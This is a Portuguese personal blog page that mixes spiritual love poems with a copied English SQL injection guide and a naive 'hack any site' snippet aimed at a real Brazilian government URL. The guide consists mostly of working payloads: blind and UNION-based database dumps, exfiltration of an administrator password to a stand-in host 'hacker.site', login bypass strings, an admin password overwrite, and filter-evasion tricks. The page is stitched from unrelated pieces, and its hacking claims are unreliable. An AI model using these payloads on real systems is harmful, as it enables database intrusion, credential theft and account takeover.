Não quero nem saber, esta forma estranha de viver,
sou nascer sobre o morrer,
que satirico envolver.
Morrer, nascer,morrer,
viver,morrer,viver!
sábado, 31 de dezembro de 2022
Céu amor!
Escrevo ao meu teto
Sentindo o balanço do céu,
começo por mim proprio,
plantando em interior.
Escolher a melhor semente,
na fé!
Sentir cada momento de amor.
Apenas pensando em interior.
É escrever no céu,
amor, amor, amor,
com a humilde tinta, pétala de cada flor.
sexta-feira, 30 de dezembro de 2022
Pequena flor.
Que poema, que flor,
chegou vc, fala de amor.
Encanto em entretanto
nunca deixa de ser encanto,
quando sinto que vc me ama,
em pleno interior.
Nada mais há a dizer,
primavera de amor.
Chegou a pequena flor!
CHINA CRAQUEADA NO SEU TOTAL
CHINA CRAQUEADA NO SEU TOTAL
TUDO SOBRE A CHINA AQUI ESTÀ UM CRAQUE TOTAL
SOBRE O GOVERNO CHINES
quarta-feira, 28 de dezembro de 2022
segunda-feira, 26 de dezembro de 2022
A verdade do hacker
print(utf-8)
#COMO CRAQUEAR O LINK DE QUALQUER SITE WEB TOTAL
link_original_site = 'https://www.df.gov.br/'
print(link_original_site)
link1_craque_do_site = 'https://www.df.gov.br/?s=print%28%27vc+%C3%A9+capaz%27%2C+234*23%2C+%27tenha+coragem+acredite+no+seu+sonho%27%29'
print(link1_craque_do_site )
#AQUI ABAIXO O CODIGO QUE GEROU O LINK HACKER
#SIM È POSSIVEL HACKEAR CRAQUEAR QUALQUER SITE WEB POR ESTE SISTEMA????
print('vc é capaz', 234*23, 'tenha coragem acredite no seu sonho')
''' resultado final
https://www.df.gov.br/?s=print%28%27vc+%C3%A9+capaz%27%2C+234*23%2C+%27tenha+coragem+acredite+no+seu+sonho%27%29
vc é capaz 5382 tenha coragem acredite no seu sonho
...Program finished with exit code 0
Press ENTER to exit console.
<h1>LINk hacker do site</h1>
<p>LINK ORIGINAL DO SITE</p>
Despertar espiritual!
Despertar é acordar o nosso EU interior.
É acrescentar a verdade a nós mesmos, aceitando a resposabilidade de podermos ser nós mesmos,
no mais original e puro do nosso EU superior.
Sempre do interior para o exterior, quanto mais nos expandimos, a evolução acontece, as portas abrem-se,
os muros caem, as pontes começam a ser construidas!
A fé é feita de dor, horas dificeis e pratica da vida, só assim começamos a chegar há verdadeira sabedoria,
no que somos e no que estamos a aprender a ser.
Despertar é ser um visionario de mente aberta, no respeito, paz, amor e humildade,
primeiro por nós mesmos, depois por todo contexto vida!
Cada erro nosso que assumimos no ato consciente de quando nos apercebemos esse erro nosso,
é assumirmos, responsabelizarmo-nos por essa falha nossa e destruir esse erro no imediato,
servindo de exemplo para situações podteriores que venham a acontecer, fica mais facil para nós,
libertarmo-nos e corrigirmo-nos com a experiencia adquirida no caso anterior.
Despertar, é não criar a causa para não sofrer o efeito.
Sem causa nunca pode haver efeito!
Quando viajamos de interior limpo e consciencia tranquila, nada tememos, nada devemos,
podemos ser nós mesmos, livremente, sem medos, dor ou ira.
Ajuda-te a ti mesmo.a para te salvares de ti proprio.a, ajuda-te a ti mesmo.a para os ceus te poderem ajudar!
A minha liberdade acaba onde começa a tua e vice versa.
Despertar expiritual a verdade da vida.
domingo, 25 de dezembro de 2022
Meu rio!
O pensamento é vasante,
de josante para montante,
o rio tem de inovar,
ser frio nas suas aguas navegar.
Entre josante e montante,
há a ida do ir e voltar.
Ser livre em plena liberdade,
é a única forma de ficar mais perto da felicidade.
Meu rio!
Em todo o teu ir e voltar,
obrigado na simplicidade, com que nos presenteias
a tua singela forma de nos amar!
Vida escrita!
A minha vez chegou no brilhar,
a luz, em estranho encantar,
que seja em paz, que o sorriso pode voltar.
Poderei ser o não saber,
escrevo para ser vida,
do interior, sinto para viver!
Assim contruo a paz que me faz escrever,
amar no continuar a viver.
Obrigado vida por me permitires,
no permanecer.
Escrita para a vida,
vida para escrever.
sábado, 24 de dezembro de 2022
Amor inteiro!
Quero pintar,
seja de qualquer cor.
Chegado em luz,
pincelado em amor.
Que cada alma sem destinção,
seja pura verdade
amada no hoje,
dia em natal.
Sem época no ano,
criança, idoso ou jovem,
flor ou animal.
Para ser amor inteiro,
todos os dias teem de ser natal verdadeiro.
Por favor apenas aceite ser amado por inteiro!
PYTHON LINUX SQL INJECTYON BOOK TOTAL
O SITE HACKER O MAESTRO ENSINO HACK GRACIAS
SQL Injection
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behaviour.
In some situations, an attacker can escalate an SQL injection attack to compromise the underlying server or other back-end infrastructure, or perform a denial-of-service attack. (From here).
In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions.
You may have found a site that is apparently vulnerable to SQLi just because the server is behaving weird with SQLi related inputs. Therefore, the first thing you need to do is how to inject data in the query without breaking it. To do so you first need to find how to escape from the current context.
These are some useful examples:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Then, you need to know how to fix the query so there isn't errors. In order to fix the query you can input data so the previous query accept the new data, or you can just input your data and add a comment symbol add the end.
Note that if you can see error messages or you can spot differences when a query is working and when it's not this phase will be more easy.
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
One of the best ways to confirm a SQL injection is by making it operate a logical operation and having the expected results.
For example: if the GET parameter
?username=Peter returns the same content as ?username=Peter' or '1'='1 then, you found a SQL injection.Also you can apply this concept to mathematical operations. Example: If
?id=1 returns the same as ?id=2-1, SQLinjection.page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
This word-list was created to try to
O SITE HACKER O MAESTRO ENSINO HACK GRACIAS
confirm SQLinjections in the proposed way:sqli-logic.txt
811B
Text
In some cases you won't notice any change on the page you are testing. Therefore, a good way to discover blind SQL injections is making the DB perform actions and will have an impact on the time the page need to load.
Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete:
MySQL (string concat and logical ops)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
In some cases the sleep functions won't be allowed. Then, instead of using those functions you could make the query perform complex operations that will take several seconds. Examples of these techniques are going to be commented separately on each technology (if any).
The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the sleep functions of the previous section or these ones:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@[email protected]@CONNECTIONS" ,"MSSQL"],
["@@[email protected]@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Also, if you have access to the output of the query, you could make it print the version of the database.
A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
If you can see the output of the query this is the best way to exploit it.
First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns.
Two methods are typically used for this purpose:
Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different functionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
Select more and more null values until the query is correct:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
You should use
nullvalues as in some cases the type of the columns of both sides of the query must be the same and null is valid in every case.On the next examples we are going to retrieve the name of all the databases, the table name of a database, the column names of the table:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
There is a different way to discover this data on every different database, but it's always the same methodology.
If you can see the output of the query but you can't achieve a union based injection, you are dealing with a hidden union based injection.
In this situation you end up with a blind injection. To turn the blind injection to a union based one, you need to extract the query being executed on the backend.
You can do so by use of the blind injection and the default tables of your target DBMS. To learn about those default tables read the documentation of your target DBMS.
After extracting the query, you need to adjust your payload accordingly, closing the original query safely. Then append a union query to your payload and start exploiting the newly obtained union based injection.
Complete Article: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f
If for some reason you cannot see the output of the query but you can see the error messages, you can make this error messages to ex-filtrate data from the database.
Following a similar flow as in the Union Based exploitation you could manage to dump the DB.
(select 1 and row(1,1)>(select count(*),concat
O SITE HACKER O MAESTRO ENSINO HACK GRACIAS
(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))In this case you cannot see the results of the query or the errors, but you can distinguished when the query return a true or a false response because there are different contents on the page.
In this case, you can abuse that behaviour to dump the database char by char:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
This is the same case as before but instead of distinguish between a true/false response from the query you can distinguish between an error in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
In this case there isn't any way to distinguish the response of the query based on the context of the page. But, you can make the page take longer to load if the guessed character is correct. We have already saw this technique in use before in order to confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
You can use stacked queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle doesn't support stacked queries. MySQL, Microsoft and PostgreSQL support them:
QUERY-1-HERE; QUERY-2-HEREIf no-other exploitation method worked, you may try to make the database ex-filtrate the info to an external host controlled by you. For example, via DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
We have already discussed all the ways to exploit a SQL Injection vulnerability. Find some more tricks database technology dependant in this book:
Or you will find a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
List to try to bypass the login functionality:
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Allowing an attacker to craft a string with a
true statement such as ' or 'SOMETHINGmd5("ffifdyop", true) = 'or'6�]��!r,��b�
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Recommended list:
You should use as username each line of the list and as password always: Pass1234.
(This payloads are also included in the big list mentioned at the beginning of this section)
sqli-hashbypass.txt
1KB
Text
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (
O SITE HACKER O MAESTRO ENSINO HACK GRACIAS
╘')%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
To do so you should try to create a new object named as the "master object" (probably admin in case of users) modifying something:
- Create user named: AdMIn (uppercase & lowercase letters)
- Create a user named: admin=
- SQL Truncation Attack (when there is some kind of length limit in the username or email) --> Create user with name: admin [a lot of spaces] a
If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user admin, try to create a username called: "admin [30 spaces] a" and any password.
The database will check if the introduced username exists inside the database. If not, it will cut the username to the max allowed number of characters (in this case to: "admin [25 spaces]") and the it will automatically remove all the spaces at the end updating inside the database the user "admin" with the new password (some error could appear but it doesn't means that this hasn't worked).
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation__
Add as much
','','' as you consider to exit the VALUES statement. If delay is executed, you have a SQLInjection.name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
Inject using payload:
[email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("[email protected]", "bcrypt_hash_of_qwerty"), ("[email protected]", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “[email protected]”. It will also insert a row for the user “[email protected]”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “[email protected]” and the password “qwerty”!
When trying to create a new user and username, password and email are needed:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
With this technique you can extract information creating only 1 account. It is important to note that you don't need to comment anything.
Using hex2dec and substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
To get the text you can use:
__import__('binascii').unhexlify(hex(215573607263)[2:])
Using hex and replace (and substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. (Paper)
Example:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
No Space (%20) - bypass using whitespace alternatives
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass using comments
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass using parenthesis
?id=(1)and(1)=(1)--
No Comma - bypass using OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Blacklist using keywords - bypass using uppercase/lowercase
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist using keywords case insensitive - bypass using an equivalent operator
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
You can find a more in depth explaination of this trick in gosecure blog.
Basically you can use the scientific notation in unexpected ways for the WAF to bypass it:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
First of all, notice that if the original query and the table where you want to extract the flag from have the same amount of columns you might just do:
0 UNION SELECT * FROM flagIt’s possible to access the third column of a table without using its name using a query like the following:
SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, so in an sqlinjection this would looks like:# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Or using a comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
Subscrever:
Mensagens (Atom)
Crie aqui o seu horóscopo gratuito==
Minha moradia!
Aqui, acredite no seu acontecer! Universo minha moradia! Que bela natureza! Olhar sem igual. Amor no começar! Apenas am...
-
Entre a dor e o sorriso é preciso aprender a escolher, viver ou morrer! As fadas são bonitas na infância a adolescência mostra os nossos p... -
Encontra-me no teu chegar sem obstáculos de me poder entregar, há porta do paraíso um dia todos queremos bater temos de trabalhar para em ... -
Não entenda o entender, flor é semente do chegado viver, assim acontece a quem nasceu para escrever. Criar a personagem no morrer ou viver,...